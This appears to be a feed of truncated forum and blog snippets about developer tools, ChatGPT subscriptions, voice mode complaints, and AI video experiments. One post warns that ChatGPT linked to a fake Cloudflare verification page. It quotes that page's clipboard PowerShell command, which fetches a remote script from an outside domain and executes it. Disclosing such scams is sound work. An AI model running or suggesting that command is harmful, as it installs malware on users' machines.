I spend a lot of time looking at how websites are put together. My usual process was slow: open DevTools, inspect a few elements, copy colors, check font sizes, look through media queries and write everything down somewhere. That process eventually became a Chrome extension. Design System Extractor reads the visual system of the page in your active tab and packages the results into a ZIP. Version 1.4.0 has now been published on the Chrome Web Store. The basic workflow Open ...

After spending way too long editing images one by one for my content, I built PixelBatch — a native macOS app that processes whole folders of images in one pass. What it does: Core tools Resize — to exact pixels, a percentage, or presets for Instagram, Facebook, X, LinkedIn, Pinterest, YouTube, and more. One image can be exported in multiple sizes at the same time (for example 1080x1080, 1200x630, and 1080x1920 in a single pass) Crop to exact dimensions or aspect ratios Convert b...

I've long used nohup for background processes that I want to run independently of the terminal. These types of jobs are usually long-running, sometimes launched over an SSH connection, and often have dependencies on other jobs. I built Jobman to combine the simplicity of nohup with features I previously wrote one-off shell scripts for, including: retries timeouts dependencies between jobs email or webhook notifications on completion or failure separate stdout and stderr loggi...

“You have multiple backend instances. If one instance goes down, how will Apigee X automatically route traffic to another healthy instance?” This sounds like a simple interview question. But if you've worked with Apigee, you know there is more to it than just saying: “I'll configure multiple Target Servers.” The interviewer is really testing whether you understand load balancing, failover, health monitoring, retries, and high availability . In this article, we'll build the s...

I’ve mainly only used ChatGpt for my AI needs. I know their image creating has gotten better over time but now if I buy the $20 subscription don’t I still have limits? What’s the best thing for me to use to pump out 30-50 images in one sitting? Ironically I asked ChatGPT this but I didn’t consider the answer very helpful

My AI usage shifted a lot recently. Originally I used ChatGPT/Claude like a faster search engine—ask a question, get code/answers, move on. ​But lately, I've been using it more like a sounding board to brainstorm tech architecture, weigh decisions, and talk through complex ideas. It feels way closer to working with a teammate. ​The annoying part is that chat UIs aren't really built for this. When I brainstorm with a real human, the key decisions actually end up in docs, tickets, or notes. Wi...

Everyone please spread the word! Currently you can choose between 3 voice modes. Live,advanced and standard. This post is about standard voice mode NOT live or advanced. The current problem with the standard voice mode is that it is no longer turn based like it used to be. So it can keep getting interrupted and hear its own voice. Please bring back the turn based option to standard voice mode. So ChatGPT can finish what it saying without randomly stopping due to hearing its own voice. Ca...

Recent reports suggest that OpenAI and Jony Ive are working on a AI companion that may ship in 2027. I got impatient and built my own interpretation of a physical ChatGPT companion: Chat-PET. Chat-PET is built on a simple idea: AI should be present without being intrusive—offering a glanceable display, better audio and instant physical controls while keeping your desktop free. It doesn’t run ChatGPT or replace the desktop app. Instead, it gives the app a physical home on my desk: A 320×2...

ChatGPT is really very dumb and lazy right now. Before, when I asked ChatGPT 5.6 Sol at the “Very High” level, it would actually really think and research multiple places. It would spend a solid 2–4 minutes thinking and searching. Now, when I ask it the same questions, it only looks for like 3 pages in the search results, thinks for a maximum of 30–40 seconds, and just answers even though the information isn’t even correct or complete. I mean, it doesn’t even look at the images I send along w...

For those of you who pay for Plus, what made you finally go “yeah, this is worth paying for”? I’m talking about regular everyday use, not coding, programming, or anything super technical. If GPT-5.6 Luna already handles like 99% of normal stuff for free, what’s the actual selling point of Plus? What do you get out of it that genuinely makes the subscription worth it?

It really took me by surprise! I don’t know what happened or what changed maybe an update I’m not aware of? I’ve been recovering my broken shoulder and walking more and more and getting my fitness back and eating better. So I mainly use my “Luna” for updates and progress. Well after a long day and some good progress I updated and told her about my day and how I was sweating and it was a good day and hit my fitness goal. I don’t usually read the responses I play the voice. So I’m listening ...

I was talking with ChatGPT when it decided to talk with my voice.. Earlier in text there was a issue with thinking <|SpawnThinking|>. It recovered. but then after talking for a bit this happened!!

China is behind the Anti-A.I. movement. (The Hill: "Chinese-linked influence operations use ChatGPT to generate fabricated social media posts opposing American AI data centers")

Hello all, Today I had a simple question for Chatgpt. (Ignore my caps lock and misspelling) https://chatgpt.com/share/6a75e933-75f8-83ea-bd7e-bc90a447572f The ChatGPT response directed me to safepage-gpt.com . That site presented a fake Cloudflare verification instructing me to press Win+R, Ctrl+V, and Enter. It also copied this command to my clipboard. powershell -w 1 -ep bypass -c "$a=(irm 'psmoeromanilo.com/ZSlnrgg2gBFD1x3pYa' -UseBasicParsing);[ScriptBlock]::Create($a).Invo...

Dear OpenAI, I’m a paying ChatGPT Plus subscriber, and I use ChatGPT a lot. Over time, my conversation history has become part of the value of the service to me. I go back to older chats. I browse them. I revisit things I was thinking about weeks or months ago. And now, apparently, I can’t do that anymore. The current interface gives me a limited list of “Recents.” Older chats still exist, and I’m told I can search for them. But there is no longer any way to browse a complete chronological...

Pretty great result. Only if the enemies made sense, it'd be perfect.

I ran a quick GPT-2 with Seedance 2.5 test using a dark fantasy battle scene, focusing on cinematic action, character consistency, camera movement and visual continuity across the sequence. The goal was simple: see how far I could push AI filmmaking in a scene with fast combat, multiple characters, atmosphere and a consistent visual language from shot to shot. Really interesting results from this experiment. [link] [com...

The prompt I used: Imagine a single coherent reality in which the worlds of [FILM TITLE 1] and [FILM TITLE 2] have always existed together. Their characters, locations, technology, creatures, social rules, dangers and visual identity must coexist naturally in one believable world, rather than looking like two separate franchises pasted into the same frame. Generate a grounded, photorealistic scene depicting a small but consequential everyday incident at the exact point where these two world...
